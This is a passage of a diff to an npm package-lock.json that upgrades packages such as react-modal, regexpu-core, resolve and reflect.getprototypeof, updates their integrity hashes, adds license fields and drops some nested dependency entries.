+      "license": "MIT",
       "peerDependencies": {
         "react": ">=16.3.0"
       }
@@ -15542,6 +14965,7 @@
       "version": "12.0.1",
       "resolved": "https://registry.npmjs.org/react-dev-utils/-/react-dev-utils-12.0.1.tgz",
       "integrity": "sha512-84Ivxmr17KjUupyqzFode6xKhjwuEJDROWKJy/BthkL7Wn6NJ8h4WE6k/exAv6ImS+0oZLRRW5j/aINMHyeGeQ==",
+      "license": "MIT",
       "dependencies": {
         "@babel/code-frame": "^7.16.0",
         "address": "^1.1.2",
@@ -15572,93 +14996,20 @@
         "node": ">=14"
       }
     },
-    "node_modules/react-dev-utils/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/react-dev-utils/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/react-dev-utils/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/react-dev-utils/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/react-dev-utils/node_modules/escape-string-regexp": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
-      "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/sindresorhus"
-      }
-    },
-    "node_modules/react-dev-utils/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/react-dev-utils/node_modules/loader-utils": {
-      "version": "3.2.1",
-      "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-3.2.1.tgz",
-      "integrity": "sha512-ZvFw1KWS3GVyYBYb7qkmRM/WwL2TQQBxgCK62rlvm4WpVQ23Nb4tYjApUlfjrEGvOs7KHEsmyUn75OHZrJMWPw==",
+      "version": "3.3.1",
+      "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-3.3.1.tgz",
+      "integrity": "sha512-FMJTLMXfCLMLfJxcX9PFqX5qD88Z5MRGaZCVzfuqeZSPsyiBzs+pahDQjbIWz2QIzPZz0NX9Zy4FX3lmK6YHIg==",
+      "license": "MIT",
       "engines": {
         "node": ">= 12.13.0"
       }
     },
-    "node_modules/react-dev-utils/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/react-dom": {
       "version": "17.0.2",
       "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-17.0.2.tgz",
       "integrity": "sha512-s4h96KtLDUQlsENhMn1ar8t2bEa+q/YAtj8pPPdIjPDGBDIVNsrD9aXNWqspUe6AzKCIG0C1HZZLqLV7qpOBGA==",
+      "license": "MIT",
       "dependencies": {
         "loose-envify": "^1.1.0",
         "object-assign": "^4.1.1",
@@ -15669,42 +15020,44 @@
       }
     },
     "node_modules/react-error-overlay": {
-      "version": "6.0.11",
-      "resolved": "https://registry.npmjs.org/react-error-overlay/-/react-error-overlay-6.0.11.tgz",
-      "integrity": "sha512-/6UZ2qgEyH2aqzYZgQPxEnz33NJ2gNsnHA2o5+o4wW9bLM/JYQitNP9xPhsXwC08hMMovfGe/8retsdDsczPRg=="
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/react-error-overlay/-/react-error-overlay-6.1.0.tgz",
+      "integrity": "sha512-SN/U6Ytxf1QGkw/9ve5Y+NxBbZM6Ht95tuXNMKs8EJyFa/Vy/+Co3stop3KBHARfn/giv+Lj1uUnTfOJ3moFEQ==",
+      "license": "MIT"
     },
     "node_modules/react-is": {
       "version": "16.13.1",
       "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz",
-      "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="
+      "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==",
+      "license": "MIT"
     },
     "node_modules/react-lifecycles-compat": {
       "version": "3.0.4",
       "resolved": "https://registry.npmjs.org/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz",
-      "integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA=="
+      "integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==",
+      "license": "MIT"
     },
     "node_modules/react-modal": {
-      "version": "3.16.1",
-      "resolved": "https://registry.npmjs.org/react-modal/-/react-modal-3.16.1.tgz",
-      "integrity": "sha512-VStHgI3BVcGo7OXczvnJN7yT2TWHJPDXZWyI/a0ssFNhGZWsPmB8cF0z33ewDXq4VfYMO1vXgiv/g8Nj9NDyWg==",
+      "version": "3.16.3",
+      "resolved": "https://registry.npmjs.org/react-modal/-/react-modal-3.16.3.tgz",
+      "integrity": "sha512-yCYRJB5YkeQDQlTt17WGAgFJ7jr2QYcWa1SHqZ3PluDmnKJ/7+tVU+E6uKyZ0nODaeEj+xCpK4LcSnKXLMC0Nw==",
+      "license": "MIT",
       "dependencies": {
         "exenv": "^1.2.0",
         "prop-types": "^15.7.2",
         "react-lifecycles-compat": "^3.0.0",
         "warning": "^4.0.3"
       },
-      "engines": {
-        "node": ">=8"
-      },
       "peerDependencies": {
-        "react": "^0.14.0 || ^15.0.0 || ^16 || ^17 || ^18",
-        "react-dom": "^0.14.0 || ^15.0.0 || ^16 || ^17 || ^18"
+        "react": "^0.14.0 || ^15.0.0 || ^16 || ^17 || ^18 || ^19",
+        "react-dom": "^0.14.0 || ^15.0.0 || ^16 || ^17 || ^18 || ^19"
       }
     },
     "node_modules/react-redux": {
       "version": "7.2.9",
       "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-7.2.9.tgz",
       "integrity": "sha512-Gx4L3uM182jEEayZfRbI/G11ZpYdNAnBs70lFVMNdHJI76XYtR+7m0MN+eAs7UHBPhWXcnFPaS+9owSCJQHNpQ==",
+      "license": "MIT",
       "dependencies": {
         "@babel/runtime": "^7.15.4",
         "@types/react-redux": "^7.1.20",
@@ -15728,12 +15081,14 @@
     "node_modules/react-redux/node_modules/react-is": {
       "version": "17.0.2",
       "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
-      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==",
+      "license": "MIT"
     },
     "node_modules/react-refresh": {
       "version": "0.11.0",
       "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.11.0.tgz",
       "integrity": "sha512-F27qZr8uUqwhWZboondsPx8tnC3Ct3SxZA3V5WyEvujRyyNv0VYPhoBg1gZ8/MV5tubQp76Trw8lTv9hzRBa+A==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -15742,6 +15097,7 @@
       "version": "5.3.4",
       "resolved": "https://registry.npmjs.org/react-router/-/react-router-5.3.4.tgz",
       "integrity": "sha512-Ys9K+ppnJah3QuaRiLxk+jDWOR1MekYQrlytiXxC1RyfbdsZkS5pvKAzCCr031xHixZwpnsYNT5xysdFHQaYsA==",
+      "license": "MIT",
       "dependencies": {
         "@babel/runtime": "^7.12.13",
         "history": "^4.9.0",
@@ -15761,6 +15117,7 @@
       "version": "5.3.4",
       "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-5.3.4.tgz",
       "integrity": "sha512-m4EqFMHv/Ih4kpcBCONHbkT68KoAeHN4p3lAGoNryfHi0dMy0kCzEZakiKRsvg5wHZ/JLrLW8o8KomWiz/qbYQ==",
+      "license": "MIT",
       "dependencies": {
         "@babel/runtime": "^7.12.13",
         "history": "^4.9.0",
@@ -15778,6 +15135,7 @@
       "version": "2.4.3",
       "resolved": "https://registry.npmjs.org/react-router-hash-link/-/react-router-hash-link-2.4.3.tgz",
       "integrity": "sha512-NU7GWc265m92xh/aYD79Vr1W+zAIXDWp3L2YZOYP4rCqPnJ6LI6vh3+rKgkidtYijozHclaEQTAHaAaMWPVI4A==",
+      "license": "MIT",
       "dependencies": {
         "prop-types": "^15.7.2"
       },
@@ -15790,6 +15148,7 @@
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/react-scripts/-/react-scripts-5.0.1.tgz",
       "integrity": "sha512-8VAmEm/ZAwQzJ+GOMLbBsTdDKOpuZh7RPs0UymvBR2vRk4iZWCskjbFnxqjrzoIvlNNRZ3QJFx6/qDSi6zSnaQ==",
+      "license": "MIT",
       "dependencies": {
         "@babel/core": "^7.16.0",
         "@pmmmwh/react-refresh-webpack-plugin": "^0.5.3",
@@ -15858,24 +15217,11 @@
         }
       }
     },
-    "node_modules/react-scripts/node_modules/lru-cache": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
-      "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
-      "dependencies": {
-        "yallist": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=10"
-      }
-    },
     "node_modules/react-scripts/node_modules/semver": {
-      "version": "7.6.0",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz",
-      "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==",
-      "dependencies": {
-        "lru-cache": "^6.0.0"
-      },
+      "version": "7.7.2",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz",
+      "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==",
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       },
@@ -15883,15 +15229,11 @@
         "node": ">=10"
       }
     },
-    "node_modules/react-scripts/node_modules/yallist": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
-      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
-    },
     "node_modules/read-cache": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz",
       "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==",
+      "license": "MIT",
       "dependencies": {
         "pify": "^2.3.0"
       }
@@ -15900,6 +15242,7 @@
       "version": "3.6.2",
       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
       "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
+      "license": "MIT",
       "dependencies": {
         "inherits": "^2.0.3",
         "string_decoder": "^1.1.1",
@@ -15913,6 +15256,7 @@
       "version": "3.6.0",
       "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
       "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+      "license": "MIT",
       "dependencies": {
         "picomatch": "^2.2.1"
       },
@@ -15924,6 +15268,7 @@
       "version": "2.2.3",
       "resolved": "https://registry.npmjs.org/recursive-readdir/-/recursive-readdir-2.2.3.tgz",
       "integrity": "sha512-8HrF5ZsXk5FAH9dgsx3BlUer73nIhuj+9OrQwEbLTPOBzGkL1lsFCR01am+v+0m2Cmbs1nP12hLDl5FA7EszKA==",
+      "license": "MIT",
       "dependencies": {
         "minimatch": "^3.0.5"
       },
@@ -15936,6 +15281,7 @@
       "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz",
       "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "indent-string": "^4.0.0",
         "strip-indent": "^3.0.0"
@@ -15948,6 +15294,7 @@
       "version": "4.2.1",
       "resolved": "https://registry.npmjs.org/redux/-/redux-4.2.1.tgz",
       "integrity": "sha512-LAUYz4lc+Do8/g7aeRa8JkyDErK6ekstQaqWQrNRW//MY1TvCEpMtpTWvlQ+FPbWCx+Xixu/6SHt5N0HR+SB4w==",
+      "license": "MIT",
       "dependencies": {
         "@babel/runtime": "^7.9.2"
       }
@@ -15956,22 +15303,25 @@
       "version": "2.4.2",
       "resolved": "https://registry.npmjs.org/redux-thunk/-/redux-thunk-2.4.2.tgz",
       "integrity": "sha512-+P3TjtnP0k/FEjcBL5FZpoovtvrTNT/UXd4/sluaSyrURlSlhLSzEdfsTBW7WsKB6yPvgd7q/iZPICFjW4o57Q==",
+      "license": "MIT",
       "peerDependencies": {
         "redux": "^4"
       }
     },
     "node_modules/reflect.getprototypeof": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.5.tgz",
-      "integrity": "sha512-62wgfC8dJWrmxv44CA36pLDnP6KKl3Vhxb7PL+8+qrrFMMoJij4vgiMP8zV4O8+CBMXY1mHxI5fITGHXFHVmQQ==",
+      "version": "1.0.10",
+      "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz",
+      "integrity": "sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.5",
+        "call-bind": "^1.0.8",
         "define-properties": "^1.2.1",
-        "es-abstract": "^1.22.3",
-        "es-errors": "^1.0.0",
-        "get-intrinsic": "^1.2.3",
-        "globalthis": "^1.0.3",
-        "which-builtin-type": "^1.1.3"
+        "es-abstract": "^1.23.9",
+        "es-errors": "^1.3.0",
+        "es-object-atoms": "^1.0.0",
+        "get-intrinsic": "^1.2.7",
+        "get-proto": "^1.0.1",
+        "which-builtin-type": "^1.2.1"
       },
       "engines": {
         "node": ">= 0.4"
@@ -15983,12 +15333,14 @@
     "node_modules/regenerate": {
       "version": "1.4.2",
       "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz",
-      "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A=="
+      "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==",
+      "license": "MIT"
     },
     "node_modules/regenerate-unicode-properties": {
-      "version": "10.1.1",
-      "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.1.1.tgz",
-      "integrity": "sha512-X007RyZLsCJVVrjgEFVpLUTZwyOZk3oiL75ZcuYjlIWd6rNJtOjkBwQc5AsRrpbKVkxN6sklw/k/9m2jJYOf8Q==",
+      "version": "10.2.0",
+      "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.2.0.tgz",
+      "integrity": "sha512-DqHn3DwbmmPVzeKj9woBadqmXxLvQoQIwu7nopMc72ztvxVmVk2SBhSnx67zuye5TP+lJsb/TBQsjLKhnDf3MA==",
+      "license": "MIT",
       "dependencies": {
         "regenerate": "^1.4.2"
       },
@@ -15997,32 +15349,29 @@
       }
     },
     "node_modules/regenerator-runtime": {
-      "version": "0.14.1",
-      "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz",
-      "integrity": "sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw=="
-    },
-    "node_modules/regenerator-transform": {
-      "version": "0.15.2",
-      "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.2.tgz",
-      "integrity": "sha512-hfMp2BoF0qOk3uc5V20ALGDS2ddjQaLrdl7xrGXvAIow7qeWRM2VA2HuCHkUKk9slq3VwEwLNK3DFBqDfPGYtg==",
-      "dependencies": {
-        "@babel/runtime": "^7.8.4"
-      }
+      "version": "0.13.11",
+      "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz",
+      "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==",
+      "license": "MIT"
     },
     "node_modules/regex-parser": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npmjs.org/regex-parser/-/regex-parser-2.3.0.tgz",
-      "integrity": "sha512-TVILVSz2jY5D47F4mA4MppkBrafEaiUWJO/TcZHEIuI13AqoZMkK1WMA4Om1YkYbTx+9Ki1/tSUXbceyr9saRg=="
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/regex-parser/-/regex-parser-2.3.1.tgz",
+      "integrity": "sha512-yXLRqatcCuKtVHsWrNg0JL3l1zGfdXeEvDa0bdu4tCDQw0RpMDZsqbkyRTUnKMR0tXF627V2oEWjBEaEdqTwtQ==",
+      "license": "MIT"
     },
     "node_modules/regexp.prototype.flags": {
-      "version": "1.5.2",
-      "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.2.tgz",
-      "integrity": "sha512-NcDiDkTLuPR+++OCKB0nWafEmhg/Da8aUPLPMQbK+bxKKCm1/S5he+AqYa4PlMCVBalb4/yxIRub6qkEx5yJbw==",
+      "version": "1.5.4",
+      "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz",
+      "integrity": "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.6",
+        "call-bind": "^1.0.8",
         "define-properties": "^1.2.1",
         "es-errors": "^1.3.0",
-        "set-function-name": "^2.0.1"
+        "get-proto": "^1.0.1",
+        "gopd": "^1.2.0",
+        "set-function-name": "^2.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -16032,14 +15381,15 @@
       }
     },
     "node_modules/regexpu-core": {
-      "version": "5.3.2",
-      "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.3.2.tgz",
-      "integrity": "sha512-RAM5FlZz+Lhmo7db9L298p2vHP5ZywrVXmVXpmAD9GuL5MPH6t9ROw1iA/wfHkQ76Qe7AaPF0nGuim96/IrQMQ==",
+      "version": "6.2.0",
+      "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-6.2.0.tgz",
+      "integrity": "sha512-H66BPQMrv+V16t8xtmq+UC0CBpiTBA60V8ibS1QVReIp8T1z8hwFxqcGzm9K6lgsN7sB5edVH8a+ze6Fqm4weA==",
+      "license": "MIT",
       "dependencies": {
-        "@babel/regjsgen": "^0.8.0",
         "regenerate": "^1.4.2",
-        "regenerate-unicode-properties": "^10.1.0",
-        "regjsparser": "^0.9.1",
+        "regenerate-unicode-properties": "^10.2.0",
+        "regjsgen": "^0.8.0",
+        "regjsparser": "^0.12.0",
         "unicode-match-property-ecmascript": "^2.0.0",
         "unicode-match-property-value-ecmascript": "^2.1.0"
       },
@@ -16047,29 +15397,41 @@
         "node": ">=4"
       }
     },
+    "node_modules/regjsgen": {
+      "version": "0.8.0",
+      "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.8.0.tgz",
+      "integrity": "sha512-RvwtGe3d7LvWiDQXeQw8p5asZUmfU1G/l6WbUXeHta7Y2PEIvBTwH6E2EfmYUK8pxcxEdEmaomqyp0vZZ7C+3Q==",
+      "license": "MIT"
+    },
     "node_modules/regjsparser": {
-      "version": "0.9.1",
-      "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.9.1.tgz",
-      "integrity": "sha512-dQUtn90WanSNl+7mQKcXAgZxvUe7Z0SqXlgzv0za4LwiUhyzBC58yQO3liFoUgu8GiJVInAhJjkj1N0EtQ5nkQ==",
+      "version": "0.12.0",
+      "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.12.0.tgz",
+      "integrity": "sha512-cnE+y8bz4NhMjISKbgeVJtqNbtf5QpjZP+Bslo+UqkIt9QPnX9q095eiRRASJG1/tz6dlNr6Z5NsBiWYokp6EQ==",
+      "license": "BSD-2-Clause",
       "dependencies": {
-        "jsesc": "~0.5.0"
+        "jsesc": "~3.0.2"
       },
       "bin": {
         "regjsparser": "bin/parser"
       }
     },
     "node_modules/regjsparser/node_modules/jsesc": {
-      "version": "0.5.0",
-      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz",
-      "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==",
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.0.2.tgz",
+      "integrity": "sha512-xKqzzWXDttJuOcawBt4KnKHHIf5oQ/Cxax+0PWFG+DFDgHNAdi+TXECADI+RYiFUMmx8792xsMbbgXj4CwnP4g==",
+      "license": "MIT",
       "bin": {
         "jsesc": "bin/jsesc"
+      },
+      "engines": {
+        "node": ">=6"
       }
     },
     "node_modules/relateurl": {
       "version": "0.2.7",
       "resolved": "https://registry.npmjs.org/relateurl/-/relateurl-0.2.7.tgz",
       "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.10"
       }
@@ -16078,6 +15440,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-3.0.0.tgz",
       "integrity": "sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg==",
+      "license": "MIT",
       "dependencies": {
         "css-select": "^4.1.3",
         "dom-converter": "^0.2.0",
@@ -16090,6 +15453,7 @@
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
       "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -16098,6 +15462,7 @@
       "version": "2.0.2",
       "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
       "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -16105,25 +15470,31 @@
     "node_modules/requires-port": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz",
-      "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ=="
+      "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==",
+      "license": "MIT"
     },
     "node_modules/reselect": {
       "version": "4.1.8",
       "resolved": "https://registry.npmjs.org/reselect/-/reselect-4.1.8.tgz",
-      "integrity": "sha512-ab9EmR80F/zQTMNeneUr4cv+jSwPJgIlvEmVwLerwrWVbpLlBuls9XHzIeTFy4cegU2NHBp3va0LKOzU5qFEYQ=="
+      "integrity": "sha512-ab9EmR80F/zQTMNeneUr4cv+jSwPJgIlvEmVwLerwrWVbpLlBuls9XHzIeTFy4cegU2NHBp3va0LKOzU5qFEYQ==",
+      "license": "MIT"
     },
     "node_modules/resolve": {
-      "version": "1.22.8",
-      "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz",
-      "integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==",
+      "version": "1.22.10",
+      "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.10.tgz",
+      "integrity": "sha512-NPRy+/ncIMeDlTAsuqwKIiferiawhefFJtkNSW0qZJEqMEb+qBt/77B/jGeeek+F0uOeN05CDa6HXbbIgtVX4w==",
+      "license": "MIT",
       "dependencies": {
-        "is-core-module": "^2.13.0",
+        "is-core-module": "^2.16.0",
         "path-parse": "^1.0.7",
         "supports-preserve-symlinks-flag": "^1.0.0"
       },
       "bin": {
         "resolve": "bin/resolve"
       },
+      "engines": {
+        "node": ">= 0.4"
+      },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
@@ -16132,6 +15503,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz",
       "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==",
+      "license": "MIT",
       "dependencies": {
         "resolve-from": "^5.0.0"
       },
@@ -16139,31 +15511,26 @@
         "node": ">=8"
       }
     },
-    "node_modules/resolve-cwd/node_modules/resolve-from": {
+    "node_modules/resolve-from": {
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
       "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
     },
-    "node_modules/resolve-from": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
